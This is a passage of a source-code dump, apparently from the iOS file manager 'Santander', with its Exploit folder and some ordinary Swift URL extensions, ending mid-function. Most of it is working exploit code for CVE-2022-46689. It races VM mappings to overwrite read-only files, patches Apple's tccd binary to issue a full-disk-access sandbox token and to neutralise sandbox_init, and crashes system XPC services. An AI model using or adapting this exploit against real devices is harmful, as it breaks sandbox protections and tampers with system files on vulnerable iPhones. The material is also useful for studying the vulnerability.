sizeof(struct segment_command_64); struct section_64* last_section = §ion_array[segment->nsects - 1]; return last_section->offset + last_section->size; } static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length, const char* needle) { void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); if (!str_offset) { return 0; } uint64_t str_file_offset = str_offset - executable_map; for (int i = 0; i < executable_length; i += 8) { uint64_t val = *(uint64_t*)(executable_map + i); if ((val & 0xfffffffful) == str_file_offset) { return i; } } return 0; } static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) { // TCCDSyncAccessAction::sequencer // mov x0, #0 // ret static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6}; void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); if (!offset) { return 0; } return offset - executable_map; } static uint64_t patchfind_got(void* executable_map, size_t executable_length, struct segment_command_64* data_const_segment, struct symtab_command* symtab_command, struct dysymtab_command* dysymtab_command, const char* target_symbol_name) { uint64_t target_symbol_index = 0; for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) { struct nlist_64* sym = ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index; const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx; if (strcmp(sym_name, target_symbol_name)) { continue; } // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map)); target_symbol_index = sym_index; break; } struct section_64* section_array = ((void*)data_const_segment) + sizeof(struct segment_command_64); struct section_64* first_section = §ion_array[0]; if (!(strcmp(first_section->sectname, "__auth_got") == 0 || strcmp(first_section->sectname, "__got") == 0)) { return 0; } uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff; for (int i = 0; i < first_section->size; i += 8) { uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i); uint64_t indirect_table_entry = (val & 0xfffful); if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) { return first_section->offset + i; } } return 0; } static bool patchfind(void* executable_map, size_t executable_length, struct grant_full_disk_access_offsets* offsets) { struct segment_command_64* data_const_segment = nil; struct symtab_command* symtab_command = nil; struct dysymtab_command* dysymtab_command = nil; if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, &dysymtab_command)) { printf("no sections\n"); return false; } if ((offsets->offset_addr_s_com_apple_tcc_ = patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) { printf("no com.apple.tcc. string\n"); return false; } if ((offsets->offset_padding_space_for_read_write_string = patchfind_get_padding(data_const_segment)) == 0) { printf("no padding\n"); return false; } if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string( executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) { printf("no kTCCServiceMediaLibrary string\n"); return false; } if ((offsets->offset_auth_got__sandbox_init = patchfind_got(executable_map, executable_length, data_const_segment, symtab_command, dysymtab_command, "_sandbox_init")) == 0) { printf("no sandbox_init\n"); return false; } if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) == 0) { printf("no just return 0\n"); return false; } struct mach_header_64* executable_header = executable_map; offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; return true; } // MARK: - tccd patching static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) { // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can // re-use it until next reboot. // Returns the sandbox token if there is one, or nil if there isn't one. xpc_connection_t connection = xpc_connection_create_mach_service( "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0); xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { NSLog(@"xpc event handler: %@", object); }); xpc_connection_resume(connection); const char* keys[] = { "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight", "target_token", "background_session", }; xpc_object_t values[] = { xpc_string_create("17087.1"), xpc_string_create("TCCAccessRequest"), xpc_string_create("com.apple.app-sandbox.read-write"), xpc_null_create(), xpc_bool_create(false), xpc_null_create(), xpc_bool_create(false), }; xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys)); #if 0 xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message); NSLog(@"%@", response_message); #endif xpc_connection_send_message_with_reply( connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), ^(xpc_object_t object) { if (!object) { NSLog(@"object is nil???"); completion(nil); return; } NSLog(@"response: %@", object); if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) { NSLog(@"xpc error?"); completion(nil); return; } NSLog(@"debug description: %@", [object debugDescription]); const char* extension_string = xpc_dictionary_get_string(object, "extension"); NSString* extension_nsstring = extension_string ? [NSString stringWithUTF8String:extension_string] : nil; completion(extension_nsstring); }); } static NSData* patchTCCD(void* executableMap, size_t executableLength) { struct grant_full_disk_access_offsets offsets = {}; if (!patchfind(executableMap, executableLength, &offsets)) { return nil; } NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr); char* mutableBytes = data.mutableBytes; { // rewrite com.apple.tcc. into blank string *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0; } { // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write" // we need to stick this somewhere; just put it in the padding between // the end of __objc_arrayobj and the end of __DATA_CONST strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string), "com.apple.app-sandbox.read-write"); struct dyld_chained_ptr_arm64e_rebase targetRebase = *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary); targetRebase.target = offsets.offset_padding_space_for_read_write_string; *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary) = targetRebase; *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) = strlen("com.apple.app-sandbox.read-write"); } if (offsets.is_arm64e) { // make sandbox_init call return 0; struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = { .auth = 1, .bind = 0, .next = 1, .key = 0, // IA .addrDiv = 1, .diversity = 0, .target = offsets.offset_just_return_0, }; *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) = targetRebase; } else { // make sandbox_init call return 0; struct dyld_chained_ptr_64_rebase targetRebase = { .bind = 0, .next = 2, .target = offsets.offset_just_return_0, }; *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) = targetRebase; } return data; } static bool overwrite_file(int fd, NSData* sourceData) { for (int off = 0; off < sourceData.length; off += 0x4000) { bool success = false; for (int i = 0; i < 2; i++) { if (unaligned_copy_switch_race( fd, off, sourceData.bytes + off, off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) { success = true; break; } } if (!success) { return false; } } return true; } static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token, NSError* _Nullable error)) { char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd"; int fd = open(targetPath, O_RDONLY | O_CLOEXEC); if (fd == -1) { // iOS 15.3 and below targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd"; fd = open(targetPath, O_RDONLY | O_CLOEXEC); } off_t targetLength = lseek(fd, 0, SEEK_END); lseek(fd, 0, SEEK_SET); void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; NSData* sourceData = patchTCCD(targetMap, targetLength); if (!sourceData) { completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" code:5 userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]); return; } if (!overwrite_file(fd, sourceData)) { overwrite_file(fd, originalData); munmap(targetMap, targetLength); completion( nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" code:1 userInfo:@{ NSLocalizedDescriptionKey : @"Can't overwrite file: your device may " @"not be vulnerable to CVE-2022-46689." }]); return; } munmap(targetMap, targetLength); xpc_crasher("com.apple.tccd"); sleep(1); call_tccd(^(NSString* _Nullable extension_token) { overwrite_file(fd, originalData); xpc_crasher("com.apple.tccd"); NSError* returnError = nil; if (extension_token == nil) { returnError = [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" code:2 userInfo:@{ NSLocalizedDescriptionKey : @"tccd did not return an extension token." }]; } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) { returnError = [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" code:3 userInfo:@{ NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token " @"instead of an app sandbox token." }]; extension_token = nil; } completion(extension_token, returnError); }); } void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { if (!NSClassFromString(@"NSPresentationIntent")) { // class introduced in iOS 15.0. // TODO(zhuowei): maybe check the actual OS version instead? completion([NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" code:6 userInfo:@{ NSLocalizedDescriptionKey : @"Not supported on iOS 14 and below: on iOS 14 the system partition is not " @"reverted after reboot, so running this may permanently corrupt tccd." }]); return; } NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask][0]; NSURL* sourceURL = [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"]; NSError* error = nil; NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL encoding:NSUTF8StringEncoding error:&error]; if (cachedToken) { int64_t handle = sandbox_extension_consume(cachedToken.UTF8String); if (handle > 0) { // cached version worked completion(nil); return; } } grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) { if (error) { completion(error); return; } int64_t handle = sandbox_extension_consume(extension_token.UTF8String); if (handle <= 0) { completion([NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" code:4 userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]); return; } [extension_token writeToURL:sourceURL atomically:true encoding:NSUTF8StringEncoding error:&error]; completion(nil); }); } ================================================ FILE: Santander/Other/Exploit/helpers.h ================================================ #ifndef helpers_h #define helpers_h char* get_temp_file_path(void); void test_nsexpressions(void); char* set_up_tmp_file(void); void xpc_crasher(char* service_name); void respringBackboard(void); void respringFrontboard(void); #define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL)) #endif /* helpers_h */ ================================================ FILE: Santander/Other/Exploit/helpers.m ================================================ #import #include #include #include char* get_temp_file_path(void) { return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]); } // create a read-only test file we can target: char* set_up_tmp_file(void) { char* path = get_temp_file_path(); printf("path: %s\n", path); FILE* f = fopen(path, "w"); if (!f) { printf("opening the tmp file failed...\n"); return NULL; } char* buf = malloc(PAGE_SIZE*10); memset(buf, 'A', PAGE_SIZE*10); fwrite(buf, PAGE_SIZE*10, 1, f); //fclose(f); return path; } kern_return_t bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp); struct xpc_w00t { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_port_descriptor_t client_port; mach_msg_port_descriptor_t reply_port; }; mach_port_t get_send_once(mach_port_t recv) { mach_port_t so = MACH_PORT_NULL; mach_msg_type_name_t type = 0; kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type); if (err != KERN_SUCCESS) { printf("port right extraction failed: %s\n", mach_error_string(err)); return MACH_PORT_NULL; } printf("made so: 0x%x from recv: 0x%x\n", so, recv); return so; } // copy-pasted from an exploit I wrote in 2019... // still works... // (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html ) void xpc_crasher(char* service_name) { mach_port_t client_port = MACH_PORT_NULL; mach_port_t reply_port = MACH_PORT_NULL; mach_port_t service_port = MACH_PORT_NULL; kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port); if(err != KERN_SUCCESS){ printf("unable to look up %s\n", service_name); return; } if (service_port == MACH_PORT_NULL) { printf("bad service port\n"); return; } // allocate the client and reply port: err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port); if (err != KERN_SUCCESS) { printf("port allocation failed: %s\n", mach_error_string(err)); return; } mach_port_t so0 = get_send_once(client_port); mach_port_t so1 = get_send_once(client_port); // insert a send so we maintain the ability to send to this port err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND); if (err != KERN_SUCCESS) { printf("port right insertion failed: %s\n", mach_error_string(err)); return; } err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); if (err != KERN_SUCCESS) { printf("port allocation failed: %s\n", mach_error_string(err)); return; } struct xpc_w00t msg; memset(&msg.hdr, 0, sizeof(msg)); msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); msg.hdr.msgh_size = sizeof(msg); msg.hdr.msgh_remote_port = service_port; msg.hdr.msgh_id = 'w00t'; msg.body.msgh_descriptor_count = 2; msg.client_port.name = client_port; msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR; msg.reply_port.name = reply_port; msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND; msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR; err = mach_msg(&msg.hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf("w00t message send failed: %s\n", mach_error_string(err)); return; } else { printf("sent xpc w00t message\n"); } mach_port_deallocate(mach_task_self(), so0); mach_port_deallocate(mach_task_self(), so1); return; } void respringBackboard(void) { xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer"); } void respringFrontboard(void) { // NOTE: This will not kill your app on some versions // You may also need to exit(0) afterwards xpc_crasher("com.apple.frontboard.systemappservices"); } ================================================ FILE: Santander/Other/Exploit/vm_unaligned_copy_switch_race.c ================================================ // from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c // modified to compile outside of XNU #include #include #include #include #include #include #include #include #include "vm_unaligned_copy_switch_race.h" #define T_QUIET #define T_EXPECT_MACH_SUCCESS(a, b) #define T_EXPECT_MACH_ERROR(a, b, c) #define T_ASSERT_MACH_SUCCESS(a, b, ...) #define T_ASSERT_MACH_ERROR(a, b, c) #define T_ASSERT_POSIX_SUCCESS(a, b) #define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) #define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) #define T_ASSERT_TRUE(a, b, ...) #define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) #define T_DECL(a, b) static void a(void) #define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) struct context1 { vm_size_t obj_size; vm_address_t e0; mach_port_t mem_entry_ro; mach_port_t mem_entry_rw; dispatch_semaphore_t running_sem; pthread_mutex_t mtx; volatile bool done; }; static void * switcheroo_thread(__unused void *arg) { kern_return_t kr; struct context1 *ctx; ctx = (struct context1 *)arg; /* tell main thread we're ready to run */ dispatch_semaphore_signal(ctx->running_sem); while (!ctx->done) { /* wait for main thread to be done setting things up */ pthread_mutex_lock(&ctx->mtx); if (ctx->done) { pthread_mutex_unlock(&ctx->mtx); break; } /* switch e0 to RW mapping */ kr = vm_map(mach_task_self(), &ctx->e0, ctx->obj_size, 0, /* mask */ VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, ctx->mem_entry_rw, 0, FALSE, /* copy */ VM_PROT_READ | VM_PROT_WRITE, VM_PROT_READ | VM_PROT_WRITE, VM_INHERIT_DEFAULT); T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW"); /* wait a little bit */ usleep(100); /* switch bakc to original RO mapping */ kr = vm_map(mach_task_self(), &ctx->e0, ctx->obj_size, 0, /* mask */ VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, ctx->mem_entry_ro, 0, FALSE, /* copy */ VM_PROT_READ, VM_PROT_READ, VM_INHERIT_DEFAULT); T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); /* tell main thread we're don switching mappings */ pthread_mutex_unlock(&ctx->mtx); usleep(100); } return NULL; } bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) { bool retval = false; pthread_t th = NULL; int ret; kern_return_t kr; time_t start, duration; #if 0 mach_msg_type_number_t cow_read_size; #endif vm_size_t copied_size; int loops; vm_address_t e2, e5; struct context1 context1, *ctx; int kern_success = 0, kern_protection_failure = 0, kern_other = 0; vm_address_t ro_addr, tmp_addr; memory_object_size_t mo_size; ctx = &context1; ctx->obj_size = 256 * 1024; void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset); if (file_mapped == MAP_FAILED) { fprintf(stderr, "failed to map\n"); return false; } if (!memcmp(file_mapped, overwrite_data, overwrite_length)) { fprintf(stderr, "already the same?\n"); munmap(file_mapped, ctx->obj_size); return true; } ro_addr = (vm_address_t)file_mapped; ctx->e0 = 0; ctx->running_sem = dispatch_semaphore_create(0); T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create"); ret = pthread_mutex_init(&ctx->mtx, NULL); T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); ctx->done = false; ctx->mem_entry_rw = MACH_PORT_NULL; ctx->mem_entry_ro = MACH_PORT_NULL; #if 0 /* allocate our attack target memory */ kr = vm_allocate(mach_task_self(), &ro_addr, ctx->obj_size, VM_FLAGS_ANYWHERE); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); /* initialize to 'A' */ memset((char *)ro_addr, 'A', ctx->obj_size); #endif /* make it read-only */ kr = vm_protect(mach_task_self(), ro_addr, ctx->obj_size, TRUE, /* set_maximum */ VM_PROT_READ); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); /* make sure we can't get read-write handle on that target memory */ mo_size = ctx->obj_size; kr = mach_make_memory_entry_64(mach_task_self(), &mo_size, ro_addr, MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, &ctx->mem_entry_ro, MACH_PORT_NULL); T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); /* take read-only handle on that target memory */ mo_size = ctx->obj_size; kr = mach_make_memory_entry_64(mach_task_self(), &mo_size, ro_addr, MAP_MEM_VM_SHARE | VM_PROT_READ, &ctx->mem_entry_ro, MACH_PORT_NULL); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); /* make sure we can't map target memory as writable */ tmp_addr = 0; kr = vm_map(mach_task_self(), &tmp_addr, ctx->obj_size, 0, /* mask */ VM_FLAGS_ANYWHERE, ctx->mem_entry_ro, 0, FALSE, /* copy */ VM_PROT_READ, VM_PROT_READ | VM_PROT_WRITE, VM_INHERIT_DEFAULT); T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); tmp_addr = 0; kr = vm_map(mach_task_self(), &tmp_addr, ctx->obj_size, 0, /* mask */ VM_FLAGS_ANYWHERE, ctx->mem_entry_ro, 0, FALSE, /* copy */ VM_PROT_READ | VM_PROT_WRITE, VM_PROT_READ | VM_PROT_WRITE, VM_INHERIT_DEFAULT); T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); /* allocate a source buffer for the unaligned copy */ kr = vm_allocate(mach_task_self(), &e5, ctx->obj_size * 2, VM_FLAGS_ANYWHERE); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); /* initialize to 'C' */ memset((char *)e5, 'C', ctx->obj_size * 2); char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1); memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length); int overwrite_first_diff_offset = -1; char overwrite_first_diff_value = 0; for (int off = 0; off < overwrite_length; off++) { if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { overwrite_first_diff_offset = off; overwrite_first_diff_value = ((char*)ro_addr)[off]; } } if (overwrite_first_diff_offset == -1) { fprintf(stderr, "no diff?\n"); return false; } /* * get a handle on some writable memory that will be temporarily * switched with the read-only mapping of our target memory to try * and trick copy_unaligned to write to our read-only target. */ tmp_addr = 0; kr = vm_allocate(mach_task_self(), &tmp_addr, ctx->obj_size, VM_FLAGS_ANYWHERE); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); /* initialize to 'D' */ memset((char *)tmp_addr, 'D', ctx->obj_size); /* get a memory entry handle for that RW memory */ mo_size = ctx->obj_size; kr = mach_make_memory_entry_64(mach_task_self(), &mo_size, tmp_addr, MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, &ctx->mem_entry_rw, MACH_PORT_NULL); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); tmp_addr = 0; pthread_mutex_lock(&ctx->mtx); /* start racing thread */ ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx); T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); /* wait for racing thread to be ready to run */ dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER); duration = 10; /* 10 seconds */ T_LOG("Testing for %ld seconds...", duration); for (start = time(NULL), loops = 0; time(NULL) < start + duration; loops++) { /* reserve space for our 2 contiguous allocations */ e2 = 0; kr = vm_allocate(mach_task_self(), &e2, 2 * ctx->obj_size, VM_FLAGS_ANYWHERE); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); /* make 1st allocation in our reserved space */ kr = vm_allocate(mach_task_self(), &e2, ctx->obj_size, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240)); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); /* initialize to 'B' */ memset((char *)e2, 'B', ctx->obj_size); /* map our read-only target memory right after */ ctx->e0 = e2 + ctx->obj_size; kr = vm_map(mach_task_self(), &ctx->e0, ctx->obj_size, 0, /* mask */ VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), ctx->mem_entry_ro, 0, FALSE, /* copy */ VM_PROT_READ, VM_PROT_READ, VM_INHERIT_DEFAULT); T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); /* let the racing thread go */ pthread_mutex_unlock(&ctx->mtx); /* wait a little bit */ usleep(100); /* trigger copy_unaligned while racing with other thread */ kr = vm_read_overwrite(mach_task_self(), e5, ctx->obj_size - 1 + overwrite_length, e2 + 1, &copied_size); T_QUIET; T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE, "vm_read_overwrite kr %d", kr); switch (kr) { case KERN_SUCCESS: /* the target was RW */ kern_success++; break; case KERN_PROTECTION_FAILURE: /* the target was RO */ kern_protection_failure++; break; default: /* should not happen */ kern_other++; break; } /* check that our read-only memory was not modified */ #if 0 T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified"); #endif bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value; /* tell racing thread to stop toggling mappings */ pthread_mutex_lock(&ctx->mtx); /* clean up before next loop */ vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size); ctx->e0 = 0; vm_deallocate(mach_task_self(), e2, ctx->obj_size); e2 = 0; if (!is_still_equal) { retval = true; fprintf(stderr, "RO mapping was modified\n"); break; } } ctx->done = true; pthread_mutex_unlock(&ctx->mtx); pthread_join(th, NULL); kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2); T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); #if 0 T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", kern_success, kern_protection_failure, kern_other); T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); #endif return retval; } ================================================ FILE: Santander/Other/Exploit/vm_unaligned_copy_switch_race.h ================================================ #pragma once #include #include /// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`. /// `page_to_overwrite` should be a page aligned `PROT_READ` `MAP_SHARED` region. `` /// `overwrite_length` must be less than or equal to `PAGE_SIZE`. /// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable. bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length); ================================================ FILE: Santander/Other/Extensions.swift ================================================ // // Extensions.swift // Santander // // Created by Serena on 21/06/2022 // // TODO: - Move all of this to other files, with separate files for each extension import UIKit import UniformTypeIdentifiers import ApplicationsWrapper extension URL { func regularFileAllocatedSize() throws -> UInt64 { let resourceValues = try self.resourceValues(forKeys: allocatedSizeResourceKeys) // We only look at regular files. guard resourceValues.isRegularFile ?? false else { return 0 } return UInt64(resourceValues.totalFileAllocatedSize ?? resourceValues.fileAllocatedSize ?? 0) } var contents: [URL] { // if not readable, invoke the root helper to get the contents if !isReadable { return (try? RootConf.shared.contents(of: resolvedURL)) ?? [] } let _contents = try? FileManager.default.contentsOfDirectory(at: self.resolvedURL, includingPropertiesForKeys: []) return _contents ?? [] } var isDirectory: Bool { return (try? resolvedURL.resourceValues(forKeys: [.isDirectoryKey]).isDirectory) ?? false } var creationDate: Date? { try? resourceValues(forKeys: [.creationDateKey]).creationDate } var lastModifiedDate: Date? { try? resourceValues(forKeys: [.contentModificationDateKey]).contentModificationDate } var lastAccessedDate: Date? { try? resourceValues(forKeys: [.contentAccessDateKey]).contentAccessDate } /// The date to which the item was added to it's parent directory var addedToDirectoryDate: Date? { try? resourceValues(forKeys: [.addedToDirectoryDateKey]).addedToDirectoryDate } var size: Int? { if isDirectory { var _size: Int = 0 for content in contents { _size += content.size ?? 0 } return _size } return try? resourceValues(forKeys: [.fileSizeKey]).fileSize } var contentType: UTType? { return try? resourceValues(forKeys: [.contentTypeKey]).contentType } /// Display name of the URL path var displayName: String { return FileManager.default.displayName(atPath: self.path) } /// The URL, resolved if a symbolic link var resolvedURL: URL { return (try? URL(resolvingAliasFileAt: self)) ?? self } static let root: URL = URL(fileURLWithPath: "/") static let home: URL = URL(fileURLWithPath: NSHomeDirectory()) var isSymlink: Bool { return (try? FileManager.default.destinationOfSymbolicLink(atPath: self.path)) != nil } var isReadable: Bool { return FileManager.default.isReadableFile(atPath: self.path) } func setPermissions(forOwner owner: Permission, group: Permission = [], others: Permission = []) throws { let octal = Permission.octalRepresentation(of: [owner, group, others]) try FSOperation.perform(.setPermissions(url: self, newOctalPermissions: octal), rootHelperConf: RootConf.shared) } /// Returns an array of complete URLs to the URL's path components func fullPathComponents() -> [URL] { var arr: [URL] = [] let components = self.pathComponents for indx in components.indices { let item = components[components.startIndex...indx] .joined(separator: "/") .replacingOccurrences(of: "//", with: "/") if item.isEmpty { continue } arr.append(URL(fileURLWithPath: item)) } return arr } var containsAppUUIDSubpaths: Bool { return pathComponents.contains("Containers") || pathComponents.contains("containers") } var applicationItem: LSApplicationProxy? { if self.pathExtension == "app" { return ApplicationsManager.shared.application(forBundleURL: self) } return ApplicationsManager.shared.application(forContainerURL: self) ?? ApplicationsManager.shared.application(forDataContainerURL: self) } } #if targetEnvironment(simulator) fileprivate let applicationPaths: [String] = [URL.home.deletingLastPathComponent().path] #else fileprivate let applicationPaths: [String] = [ "/private/var/containers/Bundle/Application", "/private/var/mobile/Containers/Data", "/private/var/mobile/Containers/Data/Application" ] #endif extension UIViewController { func errorAlert( _ errorDescription: String?, title: String, presentingFromIfAvailable presentingVC: UIViewController? = nil, cancelAction: UIAlertAction = .cancel(title: "OK") ) { var message: String? = nil if let errorDescription = errorDescription { message = "Error occured: \(errorDescription)" } let alert = UIAlertController(title: title, message: message, preferredStyle: .alert) alert.addAction(cancelAction) let vcToPresentFrom = presentingVC ?? self vcToPresentFrom.present(alert, animated: true) } func errorAlert( _ 